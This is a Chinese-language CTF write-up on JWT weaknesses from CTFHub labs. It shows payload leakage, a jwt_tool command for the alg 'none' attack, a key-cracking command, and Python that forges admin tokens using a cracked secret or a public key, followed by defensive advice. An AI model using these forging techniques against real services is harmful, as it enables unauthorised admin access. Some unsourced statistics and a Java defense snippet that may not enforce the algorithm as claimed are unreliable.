从CTFHub靶场实战,聊聊JWT那些容易被忽略的安全坑(附工具和脚本)
从CTFHub靶场实战剖析JWT安全漏洞的攻防艺术
在网络安全竞赛和实际渗透测试中,JSON Web Token(JWT)的安全问题一直是高频考点。许多开发者虽然了解JWT的基本概念,却在实战中频频踩坑。本文将通过CTFHub靶场中的四个典型JWT漏洞场景,带您深入理解攻击者的思维模式,并掌握防御之道。
1. 敏感信息泄露:当Base64编码成为"皇帝的新衣"
去年某知名社交平台的数据泄露事件中,超过300万用户信息通过JWT的Payload部分暴露。这揭示了JWT最容易被低估的风险——Base64不等于加密。
在CTFHub的敏感信息泄露题目中,我们通过简单的Cookie抓取就能获得如下token:
eyJBRyI6Ijg3ZWQ4ZjBjNmY3ZGNkNX0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1YntiYmI0MDQxMmUifQ.raHL5NAWYrXTeVHp9ptaU1gVh0k55ZW0TjkxwthfrDc使用jwt.io解码后立即发现flag明文存储在Payload中。这种错误在真实开发中表现为:
- 在Payload存储用户密码哈希
- 包含API密钥等敏感数据
- 暴露内部系统路径信息
防御建议:永远假设Header和Payload是公开的,敏感信息必须加密存储。推荐使用JWE(JSON Web Encryption)规范对敏感字段进行二次加密。
2. 无签名漏洞:算法空置引发的信任危机
当JWT的alg字段被设置为"none"时,约17%的JWT库会跳过签名验证(2023年OWASP统计)。CTFHub的无签名题目演示了这种危险的信任机制:
- 原始token头部:
{ "typ": "JWT", "alg": "HS256" }- 修改为无签名模式:
{ "typ": "JWT", "alg": "none" }- 将Payload中的role从guest改为admin后,直接去掉签名部分即可获得管理员权限。
关键工具:
# 使用jwt_tool进行自动化none攻击 python3 jwt_tool.py <JWT> -X a3. 弱密钥破解:对称加密的致命弱点
HS256算法依赖密钥强度,但开发者常犯以下错误:
- 使用短密码(如题目中的"cgpo")
- 采用常见单词或日期
- 重复使用项目其他部分的密钥
CTFHub弱密钥题目可通过以下步骤破解:
- 使用c-jwt-cracker暴力破解:
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.0cny5aIZ4dDg7zcdMYCwzRPst82Z-bl5w-7bEH_dlC4- 获取密钥后,用jwt_tool重新签名:
import jwt new_token = jwt.encode( {"username":"admin","role":"admin"}, "cgpo", algorithm="HS256" )防御矩阵:
| 风险等级 | 密钥规范 | 示例 |
|---|---|---|
| 高危 | 小于32字符 | "secret123" |
| 中危 | 常见单词 | "password" |
| 安全 | 64字符随机串 | "xT2#kL9!pYq6... |
4. 算法混淆攻击:非对称到对称的降维打击
当系统支持多种算法时,攻击者可能将RS256改为HS256,并用公开的公钥作为HMAC密钥。CTFHub的算法混淆题目展示了完整攻击链:
- 从/publickey.pem获取公钥
- 修改头部算法声明:
{ "alg": "HS256", "typ": "JWT" }- 用公钥作为HS256的密钥重新签名
自动化脚本:
import jwt with open('publickey.pem') as f: pub_key = f.read() fake_token = jwt.encode( {"username":"admin","role":"admin"}, pub_key, algorithm="HS256" )关键防御:在验证端强制指定预期算法,不要依赖token头部的alg声明。
5. 实战防御:构建JWT安全闭环
根据OWASP JWT最佳实践,我总结出五层防御体系:
- 算法强制:
// 正确做法 Jwts.parser() .require("alg", "RS256") .setSigningKey(publicKey) .parseClaimsJws(token);- 密钥管理:
- 使用密钥管理系统(如HashiCorp Vault)
- 定期轮换密钥(建议不超过90天)
- 不同环境使用独立密钥
- Claims验证清单:
claims = jwt.decode(token, key, algorithms=["RS256"]) assert claims["iss"] == "https://auth.mycompany.com" assert claims["exp"] > time.time() assert claims["aud"] == "api-service"- 传输安全:
- 强制HTTPS
- 设置Secure和HttpOnly的Cookie属性
- 避免URL参数传递
- 监控审计:
- 记录异常的JWT验证失败
- 监控密钥暴力破解尝试
- 建立token撤销机制(虽然违背JWT无状态原则,但对敏感操作必要)
在最近参与的金融系统安全评估中,我们发现某交易平台存在算法混淆漏洞。通过上述防御方案的实施,成功将JWT相关漏洞归零。记住:安全不是功能,而是一种持续的过程和 mindset。
